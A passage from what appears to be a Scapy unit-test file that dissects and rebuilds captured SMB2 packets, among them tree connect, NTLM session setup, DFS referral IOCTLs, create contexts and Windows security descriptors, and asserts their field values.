Ether(b'RT\\x00\\x1c\\x91\\x8dRT\\x00O9T\\x08\\x00E\\x00\\x00\\xb0\\x91\\n@\\x00\\x80\\x06\\xe7\\x1f\\xc0\\xa8\\x00e\\xc0\\xa8\\x00h\\xc2@\\x01\\xbd\\xd6a\\x0e\\xc2gX\\xca\\xb8P\\x18\\x04\\x02\\x82\\xc0\\x00\\x00\\x00\\x00\\x00\\x84\\xfeSMB@\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x01\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x00\\x00\\x00\\x00!\\x00\\x00\\x00\\x00$\\x08\\x00\\xe4\\xd7o\\xa1\\x96\\xf9mm\\xca[%\\x1c\\x8bG\\x8a\\xd6\\t\\x00\\x02\\x00H\\x00<\\x00\\\\\\x00\\\\\\x00s\\x00c\\x00a\\x00l\\x00e\\x00o\\x00u\\x00t\\x00.\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\\\\\x00s\\x00h\\x00a\\x00r\\x00e\\x001\\x00')\nassert tree_con.Path == '\\\\\\\\scaleout.domain.local\\\\share1'\nassert tree_con[SMB2_Tree_Connect_Request].Flags.REDIRECT_TO_OWNER\n\n= SMB2 Tree connect response\n\ntree_con_resp = Ether(b'RT\\x00O9TRT\\x00\\x1c\\x91\\x8d\\x08\\x00E\\x00\\x00\\xfeM\\xfb@\\x00\\x80\\x06)\\xe1\\xc0\\xa8\\x00h\\xc0\\xa8\\x00e\\x01\\xbd\\xc2@gX\\xca\\xb8\\xd6a\\x0fJP\\x18 \\x13\\x83\\x0e\\x00\\x00\\x00\\x00\\x00\\xd2\\xfeSMB@\\x00\\x01\\x00\\xcc\\x00\\x00\\xc0\\x03\\x00\\x01\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x00\\x00\\x00\\x00!\\x00\\x00\\x00\\x00$\\x08\\x00\\x1a\\xc0\\nRt\\xe7\\x04\\x1b;\\xd3gV\\xe0\\x1e\\x87\\xd1\\t\\x00\\x01\\x00\\x8a\\x00\\x00\\x00\\x82\\x00\\x00\\x00SRdr0\\x00\\x00\\x00\\x03\\x00\\x00\\x00`\\x00\\x00\\x00\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00il\\x00\\\\\\x00s\\x00h\\x00a\\x00r\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8d\\x8f\\x1e\\xd4.mk\\xa0\\xa3py\\xa4\\x9c\\x8dJ\\xc8\\xd0\\x9a\\xfd\\xc1\\x00\\x00\\x02\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\\\\\x00\\\\\\x00S\\x00C\\x00A\\x00L\\x00E\\x00O\\x00U\\x00T\\x00\\\\\\x00s\\x00h\\x00a\\x00r\\x00e\\x001\\x00')\nassert tree_con_resp.Status == 0xc00000cc\nassert tree_con_resp.Flags.SMB2_FLAGS_SERVER_TO_REDIR\n\nctx = SMB2_Error_ContextResponse(tree_con_resp.ErrorData)\nassert ctx.ErrorId == 0x72645253\nassert ctx.ErrorContextData.NotificationType == 3\nassert ctx.ErrorContextData.ResourceName == '\\\\\\\\SCALEOUT\\\\share1'\nassert [x.IPAddress for x in ctx.ErrorContextData.IPAddrMoveList] == ['192.168.0.105', '192.168.100.143']\n\n+ SMB 2 Setup Session\n\n= Setup Session Request\n\nfrom scapy.layers.ntlm import *\n\nsetup_sess = NBTSession(b'\\x00\\x00\\x00\\xa2\\xfeSMB@\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00!\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00X\\x00J\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`H\\x06\\x06+\\x06\\x01\\x05\\x05\\x02\\xa0>0<\\xa0\\x0e0\\x0c\\x06\\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x02\\n\\xa2*\\x04(NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x97\\x82\\x08\\xe2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00aJ\\x00\\x00\\x00\\x0f')\nassert isinstance(setup_sess.Buffer[0][1].innerToken.token.mechToken.value, NTLM_NEGOTIATE)\nassert setup_sess.Buffer[0][1].innerToken.token.mechToken.value.ProductBuild == 19041\n\n= Setup Session Response\n\nfrom scapy.layers.ntlm import *\n\nsetup_sess = NBTSession(b'\\x00\\x00\\x00\\xe7\\xfeSMB@\\x00\\x01\\x00\\x16\\x00\\x00\\xc0\\x01\\x00\\x01\\x00\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00\\x00\\x00H\\x00\\x9f\\x00\\xa1\\x81\\x9c0\\x81\\x99\\xa0\\x03\\n\\x01\\x01\\xa1\\x0c\\x06\\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x02\\n\\xa2\\x81\\x83\\x04\\x81\\x80NTLMSSP\\x00\\x02\\x00\\x00\\x00\\x08\\x00\\x08\\x008\\x00\\x00\\x00\\x15\\x82\\x8a\\xe2\\xe0\\x14\\xe7\\xbf\\xfd@\\x01+\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00@\\x00@\\x00\\x00\\x00\\n\\x00aJ\\x00\\x00\\x00\\x0fW\\x00I\\x00N\\x001\\x00\\x02\\x00\\x08\\x00W\\x00I\\x00N\\x001\\x00\\x01\\x00\\x08\\x00W\\x00I\\x00N\\x001\\x00\\x04\\x00\\x08\\x00W\\x00I\\x00N\\x001\\x00\\x03\\x00\\x08\\x00W\\x00I\\x00N\\x001\\x00\\x07\\x00\\x08\\x00\\xef\\x1f\\x0e\\tE\\xe6\\xd7\\x01\\x00\\x00\\x00\\x00')\nassert isinstance(setup_sess.Buffer[0][1].token.responseToken.value, NTLM_CHALLENGE)\nassert setup_sess.Buffer[0][1].token.responseToken.value\nassert setup_sess.Buffer[0][1].token.responseToken.value.Payload[0] == ('TargetName', 'WIN1')\nassert setup_sess.Buffer[0][1].token.responseToken.value.Payload[1][1][-1].AvId == 0\n\n\n= SMB2 IOCTL Request - Validate negotiate info\n\nioctl_req = Ether(b'RT\\x00<?\\x1cRT\\x00\\x0cG\\xab\\x08\\x00E\\x00\\x00\\xc6\\x88\\x1f@\\x00\\x80\\x06\\xfc\\xb9\\xc0\\xa8z\\x06\\xc0\\xa8z\\x01\\xc2\\xb3\\x01\\xbd\\x04)\\xc4a\\t\\xda\\x92\\xdbP\\x18 \\x12o\\xb3\\x00\\x00\\x00\\x00\\x00\\x9a\\xfeSMB@\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0b\\x00!\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd8a\\x1c\\xc86\\x0f\\xc4\\xec\\x98$\\x08\\x038\\xe6\\x82\\x039\\x00\\x00\\x00\\x04\\x02\\x14\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xffx\\x00\\x00\\x00\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00x\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x9b\\x9c\\xaa3\\xf0\\xe6\\xec\\x11\\x8c\\x12RT\\x00\\x0cG\\xab\\x01\\x00\\x05\\x00\\x02\\x02\\x10\\x02\\x00\\x03\\x02\\x03\\x11\\x03')\nassert ioctl_req.CtlCode == 1311236\nassert ioctl_req.InputBufferOffset == 120\nassert ioctl_req.InputLen == 34\nvalidate_neg = ioctl_req.Buffer[0][1]\nassert isinstance(validate_neg, SMB2_IOCTL_Validate_Negotiate_Info_Request)\nassert validate_neg.SecurityMode.SIGNING_ENABLED\nassert validate_neg.Dialects == [514, 528, 768, 770, 785]\n\nc = ioctl_req.copy()\nc.InputLen = None\nc.InputBufferOffset = None\nc = Ether(raw(c))\nassert c.InputBufferOffset == 120\nassert c.InputLen == 34\nassert len(c.Buffer[0][1]) == 34\n\n= SMB2 IOCTL Request - DFS referral (TargetSetBoundary)\n\nioctl_req = NBTSession(b'\\x00\\x00\\x01t\\xfeSMB@\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x01\\x009\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x01\\x00\\x00\\x00i\\x00\\x00\\x00\\x00D\\x00\\x00\\x93\\xefQ\\xd3\\xf2\\xc7\\xc3\\xf3m\\xcf.\\xb4\\xe9\\x16\\xb7+1\\x00\\x00\\x00\\x94\\x01\\x06\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xffp\\x00\\x00\\x00\\x00\\x00\\x00\\x00p\\x00\\x00\\x00\\x04\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x00\\x02\\x00\\x03\\x00\\x00\\x00\\x04\\x00\"\\x00\\x01\\x00\\x04\\x00,\\x01\\x00\\x00D\\x00n\\x00\\x98\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\"\\x00\\x01\\x00\\x00\\x00,\\x01\\x00\\x00\"\\x00L\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\\\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\\\\\x00c\\x00o\\x00m\\x00m\\x00o\\x00n\\x00\\x00\\x00\\\\\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\\\\\x00c\\x00o\\x00m\\x00m\\x00o\\x00n\\x00\\x00\\x00\\\\\\x00D\\x00C\\x001\\x00.\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\\\\\x00c\\x00o\\x00m\\x00m\\x00o\\x00n\\x00\\x00\\x00\\\\\\x00D\\x00C\\x002\\x00.\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\\\\\x00c\\x00o\\x00m\\x00m\\x00o\\x00n\\x00\\x00\\x00')\nassert ioctl_req.CtlCode == 393620\ndfs_referral = ioctl_req.Output\n\nassert isinstance(dfs_referral, SMB2_IOCTL_RESP_GET_DFS_Referral)\nassert dfs_referral.ReferralBuffer[0].DFSPath == '\\\\domain.local\\\\common'\nassert dfs_referral.ReferralBuffer[0].DFSAlternatePath == '\\\\domain.local\\\\common'\nassert dfs_referral.ReferralBuffer[0].NetworkAddress == '\\\\DC1.domain.local\\\\common'\nassert dfs_referral.ReferralBuffer[1].DFSPath == '\\\\domain.local\\\\common'\nassert dfs_referral.ReferralBuffer[1].DFSAlternatePath == '\\\\domain.local\\\\common'\nassert dfs_referral.ReferralBuffer[1].NetworkAddress == '\\\\DC2.domain.local\\\\common'\n\n= SMB2 IOCTL Response - DFS referral (TargetSetBoundary)\n\ndfs_referral = SMB2_IOCTL_RESP_GET_DFS_Referral(\n    ReferralHeaderFlags=\"ReferralServers+StorageServers\",\n    ReferralEntries=[\n        DFS_REFERRAL_V4(\n            ServerType=\"root\",\n            ReferralEntryFlags=\"TargetSetBoundary\",\n            TimeToLive=300,\n        ),\n        DFS_REFERRAL_V4(\n            ServerType=\"root\",\n            ReferralEntryFlags=\"TargetSetBoundary\",\n            TimeToLive=300,\n        )\n    ],\n    ReferralBuffer=[\n        DFS_REFERRAL_ENTRY0(\n            DFSPath=\"\\\\domain.local\\\\common\",\n            DFSAlternatePath=\"\\\\domain.local\\\\common\",\n            NetworkAddress=\"\\\\DC1.domain.local\\\\common\",\n        ),\n        DFS_REFERRAL_ENTRY0(\n            DFSPath=\"\\\\domain.local\\\\common\",\n            DFSAlternatePath=\"\\\\domain.local\\\\common\",\n            NetworkAddress=\"\\\\DC2.domain.local\\\\common\",\n        )\n    ]\n)\nassert bytes(dfs_referral) == b'\\x00\\x00\\x02\\x00\\x03\\x00\\x00\\x00\\x04\\x00\"\\x00\\x01\\x00\\x04\\x00,\\x01\\x00\\x00D\\x00n\\x00\\x98\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\"\\x00\\x01\\x00\\x04\\x00,\\x01\\x00\\x00\\xa8\\x00\\xd2\\x00\\xfc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\\\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\\\\\x00c\\x00o\\x00m\\x00m\\x00o\\x00n\\x00\\x00\\x00\\\\\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\\\\\x00c\\x00o\\x00m\\x00m\\x00o\\x00n\\x00\\x00\\x00\\\\\\x00D\\x00C\\x001\\x00.\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\\\\\x00c\\x00o\\x00m\\x00m\\x00o\\x00n\\x00\\x00\\x00\\\\\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\\\\\x00c\\x00o\\x00m\\x00m\\x00o\\x00n\\x00\\x00\\x00\\\\\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\\\\\x00c\\x00o\\x00m\\x00m\\x00o\\x00n\\x00\\x00\\x00\\\\\\x00D\\x00C\\x002\\x00.\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\\\\\x00c\\x00o\\x00m\\x00m\\x00o\\x00n\\x00\\x00\\x00'\n\n# Re-dissect\ndfs_referral = SMB2_IOCTL_RESP_GET_DFS_Referral(bytes(dfs_referral))\nassert dfs_referral.ReferralBuffer[0].DFSPath == '\\\\domain.local\\\\common'\nassert dfs_referral.ReferralBuffer[0].DFSAlternatePath == '\\\\domain.local\\\\common'\nassert dfs_referral.ReferralBuffer[0].NetworkAddress == '\\\\DC1.domain.local\\\\common'\nassert dfs_referral.ReferralBuffer[1].DFSPath == '\\\\domain.local\\\\common'\nassert dfs_referral.ReferralBuffer[1].DFSAlternatePath == '\\\\domain.local\\\\common'\nassert dfs_referral.ReferralBuffer[1].NetworkAddress == '\\\\DC2.domain.local\\\\common'\n\n= SMB2 IOCTL Request - DFS referral (NameListReferral)\n\nioctl_req = NBTSession(b'\\x00\\x00\\x00\\xc8\\xfeSMB@\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x01\\x009\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x01\\x00\\x00\\x00}\\x00\\x00\\x10\\x00\\xf8\\x01\\x00\\xd4UjTy\\xef\\xdd2\\x19)\\x9a\\r\\x15\\xa7\\x1f11\\x00\\x00\\x00\\x94\\x01\\x06\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xffp\\x00\\x00\\x00\\x00\\x00\\x00\\x00p\\x00\\x00\\x00X\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x12\\x00\\x00\\x00\\x02\\x00X\\x02\\x00\\x00$\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x12\\x00\\x00\\x00\\x02\\x00X\\x02\\x00\\x00\"\\x00\\x00\\x00\\x00\\x00\\\\\\x00D\\x00O\\x00M\\x00A\\x00I\\x00N\\x00\\x00\\x00\\\\\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\x00\\x00')\nassert ioctl_req.CtlCode == 393620\ndfs_referral = ioctl_req.Output\n\nassert isinstance(dfs_referral, SMB2_IOCTL_RESP_GET_DFS_Referral)\nassert dfs_referral.ReferralEntries[0].SpecialNameOffset == 36\nassert dfs_referral.ReferralEntries[0].ExpandedNameOffset == 0\nassert dfs_referral.ReferralEntries[1].SpecialNameOffset == 34\nassert dfs_referral.ReferralEntries[1].ExpandedNameOffset == 0\n\nassert dfs_referral.ReferralBuffer[0].SpecialName == \"\\\\DOMAIN\"\nassert dfs_referral.ReferralBuffer[0].ExpandedName == []\nassert dfs_referral.ReferralBuffer[1].SpecialName == \"\\\\domain.local\"\nassert dfs_referral.ReferralBuffer[1].ExpandedName == []\n\n= SMB2 IOCTL Response - DFS referral (NameListReferral)\n\nDOMAIN_REFERRALS = [\"\\\\DOMAIN\", \"\\\\domain.local\"]\ndfs_referral = SMB2_IOCTL_RESP_GET_DFS_Referral(\n    ReferralEntries=[\n        DFS_REFERRAL_V3(\n            ReferralEntryFlags=\"NameListReferral\",\n            TimeToLive=600,\n        )\n        for _ in DOMAIN_REFERRALS\n    ],\n    ReferralBuffer=[\n        DFS_REFERRAL_ENTRY1(\n            SpecialName=name\n        )\n        for name in DOMAIN_REFERRALS\n    ]\n)\n\nassert bytes(dfs_referral) == b'\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x12\\x00\\x00\\x00\\x02\\x00X\\x02\\x00\\x00$\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x12\\x00\\x00\\x00\\x02\\x00X\\x02\\x00\\x00\"\\x00\\x00\\x00\\x00\\x00\\\\\\x00D\\x00O\\x00M\\x00A\\x00I\\x00N\\x00\\x00\\x00\\\\\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\x00\\x00'\n\n# Re-dissect\ndfs_referral = SMB2_IOCTL_RESP_GET_DFS_Referral(bytes(dfs_referral))\nassert dfs_referral.ReferralBuffer[0].SpecialName == \"\\\\DOMAIN\"\nassert dfs_referral.ReferralBuffer[0].ExpandedName == []\nassert dfs_referral.ReferralBuffer[1].SpecialName == \"\\\\domain.local\"\nassert dfs_referral.ReferralBuffer[1].ExpandedName == []\n\n= SMB2 Create Request with Contexts\n\nsess_create_context = NBTSession(b'\\x00\\x00\\x01D\\xfeSMB@\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\xcd\\t\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x9bk>\\xb6[=\\x16\\xb4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x009\\x00\\x00\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x89\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x01\\x00\\x00\\x00d\\x00\\x00\\x00x\\x00\\x16\\x00\\x90\\x00\\x00\\x00\\xb4\\x00\\x00\\x00d\\x00e\\x00s\\x00k\\x00t\\x00o\\x00p\\x00.\\x00i\\x00n\\x00i\\x00\\x00\\x008\\x00\\x00\\x00\\x10\\x00\\x04\\x00\\x00\\x00\\x18\\x00 \\x00\\x00\\x00DH2Q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000\\x1d\\xb3\\xc8\\xfa\\r\\xed\\x11\\xb7R\\x808\\xfb\\xd6\\xa0~\\x18\\x00\\x00\\x00\\x10\\x00\\x04\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x00\\x00MxAc\\x00\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x10\\x00\\x04\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x00\\x00QFid\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x04\\x00\\x00\\x00\\x18\\x004\\x00\\x00\\x00RqLs\\x00\\x00\\x00\\x00\\xc8\\x9bA\\xdb\\x8e\\xd1\\x19\\xf4\\\\;\\x846;\\xf6\\xca\\xe0\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert sess_create_context.Name == \"desktop.ini\"\nassert isinstance(sess_create_context.CreateContexts[0].Data, SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2)\nassert sess_create_context.CreateContexts[1].Name == b\"MxAc\"\nassert sess_create_context.CreateContexts[2].Name == b\"QFid\"\nassert isinstance(sess_create_context.CreateContexts[3].Data, SMB2_CREATE_REQUEST_LEASE_V2)\n\nsess_create_context_response = NBTSession(b\"\\x00\\x00\\x00\\xf0\\xfeSMB@\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x01\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\xcd\\t\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x9bk>\\xb6[=\\x16\\xb4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Y\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x9d\\x89JH\\xbe\\xa1\\xd8\\x01\\x9d\\x89JH\\xbe\\xa1\\xd8\\x01{\\x0f$W\\x06\\xa2\\xd8\\x01{\\x0f$W\\x06\\xa2\\xd8\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x17\\xe8L\\x00\\x00\\x00\\x00'\\x1aT\\xad\\x00\\x00\\x00\\x00\\x98\\x00\\x00\\x00X\\x00\\x00\\x00 \\x00\\x00\\x00\\x10\\x00\\x04\\x00\\x00\\x00\\x18\\x00\\x08\\x00\\x00\\x00MxAc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\x01\\x1f\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x04\\x00\\x00\\x00\\x18\\x00 \\x00\\x00\\x00QFid\\x00\\x00\\x00\\x00\\x01\\x00$\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\nassert sess_create_context_response.CreateContexts[0].Data.QueryStatus == 0\nassert sess_create_context_response.CreateContexts[1].Data.DiskFileId == 2359297\nassert sess_create_context_response.CreateContexts[1].Data.Reserved == b'\\x00' * 16\n\n= SMB2 Query Info Response with Security Descriptor\n\nqr = SMB2_Query_Info_Response(b'\\t\\x00H\\x00\\xe0\\x00\\x00\\x00\\x01\\x00\\x14\\x9c\\x14\\x00\\x00\\x004\\x00\\x00\\x00\\x00\\x00\\x00\\x00T\\x00\\x00\\x00\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x05P\\x00\\x00\\x00\\xb5\\x89\\xfb8\\x19\\x84\\xc2\\xcb\\\\l#mW\\x00wn\\xc0\\x02d\\x87\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x05P\\x00\\x00\\x00\\xb5\\x89\\xfb8\\x19\\x84\\xc2\\xcb\\\\l#mW\\x00wn\\xc0\\x02d\\x87\\x02\\x00\\x8c\\x00\\x06\\x00\\x00\\x00\\x00\\x03\\x18\\x00\\xa9\\x00\\x12\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x0f\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x0b\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x03\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x03\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x12\\x00\\x00\\x00\\x00\\x03\\x18\\x00\\xff\\x01\\x1f\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x00\\x03\\x18\\x00\\xa9\\x00\\x12\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00!\\x02\\x00\\x00')\nsd = SECURITY_DESCRIPTOR(qr.Output)\n\nassert sd.OwnerSid.summary() == 'S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464'\nassert sd.GroupSid.summary() == 'S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464'\n\nassert sd.DACL.toSDDL() == [\n    '(A;OI+CI;;;;S-1-15-2-1)',\n    '(A;OI+CI+IO;;;;S-1-3-0)',\n    '(A;OI+CI;;;;S-1-1-0)',\n    '(A;OI+CI;;;;S-1-5-18)',\n    '(A;OI+CI;;;;S-1-5-32-544)',\n    '(A;OI+CI;;;;S-1-5-32-545)',\n]\n\n= SMB2 Set Info Request with Rename\n\nset_info = NBTSession(b'\\x00\\x00\\x00|\\xfeSMB@\\x00\\x01\\x00#\\x00\\x00\\x00\\x11\\x00\\x01\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x01\\x00\\x00\\x00\\x15\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00!\\x00\\x01\\n\\x1c\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\n\\x9c\\xfd@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc3\\x01\\xc1\\\\\\\\1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00t\\x00e\\x00s\\x00t\\x00')\n\nassert set_info.FileId.Persistent == 0x40fd9c0ab0\nassert isinstance(set_info.Data, FileRenameInformation)\nassert set_info.Data.FileName == \"test\"\nassert not set_info.Data.ReplaceIfExists\n\n= SMB2 - Build and dissect SECURITY_DESCRIPTOR\n\nfrom scapy.layers.windows.security import *\n\nsd = SECURITY_DESCRIPTOR(\n    Control=\"DACL_PRESENT+DACL_PROTECTED+SELF_RELATIVE\",\n    OwnerSid=WINNT_SID.fromstr(\"S-1-1-0\"),\n    GroupSid=WINNT_SID.fromstr(\"S-1-1-0\"),\n    DACL=WINNT_ACL(\n        Aces=[\n            WINNT_ACE_HEADER() / WINNT_ACCESS_ALLOWED_ACE(\n                Mask=1,\n                Sid=WINNT_SID.fromstr(\"S-1-1-0\"),\n            )\n        ]\n    )\n)\n\nsd = SECURITY_DESCRIPTOR(bytes(sd))\n\nassert sd.OwnerSidOffset == 20\nassert sd.GroupSidOffset == 32\nassert sd.SACLOffset == 0\nassert sd.DACLOffset == 44\n\nassert sd.OwnerSid.summary() == \"S-1-1-0\"\nassert sd.GroupSid.summary() == \"S-1-1-0\"\nassert sd.DACL.toSDDL() == ['(A;;;;;S-1-1-0)']\n\nassert 